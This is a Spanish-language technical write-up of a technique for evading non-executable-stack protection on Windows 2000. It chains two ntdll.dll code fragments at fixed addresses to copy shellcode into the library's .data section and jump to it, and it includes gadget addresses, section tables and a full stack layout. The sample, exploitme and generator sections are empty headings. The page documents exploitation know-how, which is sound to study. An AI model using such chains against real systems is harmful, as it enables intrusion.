Shellcodes avoiding no-execute stack protection

Esto es un ejemplo de lo que podria ser una shellcode para Winnt con una ntdll.dll
version 5.0.2195.6899 y me imagino que bastantes más. Es una idea sobre una shellcode 
que evadiera las protecciones de ejecución en stack que estan empezando a usar.
Ir a explicaciones y ejemplos
Ir a generador polimorfico de la shellcode
La shellcode se basa en poner las direcciones de retorno adecuadas en todo momento y 
aprovechar los dos trozos de codigo de ntdll (u otros) que vienen a continuacion para 
escribir el codigo "util" de shellcode en la seccion de datos .data de ntdll u otro 
sitio donde podamos escribir y ejecutar y luego saltar al punto donde ha escrito el 
codigo,para ejecutarlo.

Un par de trozos de codigo de ntdll:

-------------------------------------------------------------------------------------------

.78462FDF: AB                           stosd
.78462FE0: 5F                           pop         edi
.78462FE1: C20400                       retn        00004

-------------------------------------------------------------------------------------------

.784635EC: 8BC6                         mov         eax,esi
.784635EE: 5F                           pop         edi
.784635EF: 5E                           pop         esi
.784635F0: C3                           retn

-------------------------------------------------------------------------------------------

.data(ntdll.dll) 784b0000 --- Para copiar alli el codigo.

  Number Name    VirtSize   RVA    PhysSize  Offset    Flag-
     1  .text    00045CAB 00001000 00045E00 00000400 60000020
     2  ECODE    00004371 00047000 00004400 00046200 60000020
     3  PAGE     00003FEB 0004C000 00004000 0004A600 60000020
     4  .data    00002D84 00050000 00002200 0004E600 C0000040
     5  .rsrc    0002D000 00053000 0002C400 00050800 40000040
     6  .reloc   00002010 00080000 00002200 0007CC00 42000040

-------------------------------------------------------------------------------------------


Como podria quedar el stack.

Stack
-----
???????? -> basura si fuera necesaria,depende del programa siendo explotado
784635EF -> ret address para ir a codigo para poner un valor en esi  (primer ret)
???????? -> basura si fuera necesaria,depende del programa siendo explotado

XXXXXXXX1-> parte del codigo que queremos ejecutar para poner en esi(con pop esi en 784635EF)
784635EC -> saltar con el ret de 784635f0 para dejar esi en eax(con mov eax,esi de 784635EC)

784b2121 -> direccion que queramos escribir,q queda en edi(la direccion es de .data de ntdll)
XXXXXXXX2-> proxima parte del codigo que queremos ejecutar para poner en esi
78462FDF -> codigo de ntdll para hacer la escritura donde apunta edi(en la seccion .data)
???????? -> basura q ira a edi,pero luego sobreescribiremos con lo q interesa
784635EC -> la misma operacion
???????? -> basura por el retn 4

784b2125 -> direccion que queramos escribir,q queda en edi(la direccion es de .data de ntdll)
XXXXXXXX3-> proxima parte del codigo que queremos ejecutar para poner en esi
78462FDF -> codigo de ntdll para hacer la escritura donde apunta edi(en la seccion .data)
???????? -> basura q ira a edi,pero luego sobreescribiremos con lo q interesa
784635EC -> la misma operacion
???????? -> basura por el retn 4

784b2129 -> direccion que queramos escribir,q queda en edi(la direccion es de .data de ntdll)
XXXXXXXX4-> proxima parte del codigo que queremos ejecutar para poner en esi
78462FDF -> codigo de ntdll para hacer la escritura donde apunta edi(en la seccion .data)
???????? -> basura q ira a edi,pero luego sobreescribiremos con lo q interesa
784635EC -> la misma operacion
???????? -> basura por el retn 4
...

784bXXXX -> ultima direccion que queramos escribir
XXXXXXXXN-> ultima parte del codigo que queremos ejecutar para poner en esi
78462FDF -> codigo de ntdll para hacer la escritura donde apunta edi(en la seccion .data)
???????? -> basura q ira a edi
784b2121 -> salto al comienzo de la shellcode
???????? -> basura por el retn 4

Nota:

784635EF -> 'xF5ď'
???????? 
XXXXXXXX1
784635EC -> 'xF5ě'
784b2121 -> 'xK!!'
XXXXXXXX2
78462FDF -> 'xF/ß'
???????? 
784635EC -> 'xF5ě'
???????? 
784b2125 -> 'xK!%'
XXXXXXXX3
78462FDF -> 'xF/ß'
???????? 
784635EC -> 'xF5ě'
???????? 
784b2129 -> 'xK!)' 
XXXXXXXX4
78462FDF -> 'xF/ß'
???????? 
784635EC -> 'xF5ě'
???????? 
...      
784bXXXX 
XXXXXXXXN
78462FDF -> 'xF/ß'
???????? 
784b2121 -> 'xK!!'
???????? 

Info de mi ntdll:
----------------

Version: 5.0.2195.6899
Idioma:  Espańol (alfabetización internacional)

 
 Count of sections              6 ¦ Machine                intel386
 Symbol table  00000000[00000000] ¦        Wed Mar 24 03:17:14 2004
 Size of optional header     00E0 ¦ Magic optional header      010B
 Linker version              5.12 ¦ OS version                 5.00
 Image version               5.00 ¦ Subsystem version          4.00
 Entry point             00000000 ¦ Size of code           0004E200
 Size of init data       00030800 ¦ Size of uninit data    00000000
 Size of image           00083000 ¦ Size of header         00000400
 Base of code            00001000 ¦ Base of data           0004E000
 Image base              78460000 ¦ Subsystem          Windows char
 Section alignment       00001000 ¦ File alignment         00000200
 Stack          00040000/00001000 ¦ Heap          00100000/00001000
 Checksum                00082A23 ¦ Number of directories        16


Sample:



Sample:



Sample, generating polymorphicly the shellcode:


Exploitme:

Polymorphic shellcode generator main source:

Polymorphic shellcode generator main header:

Security focus

Download project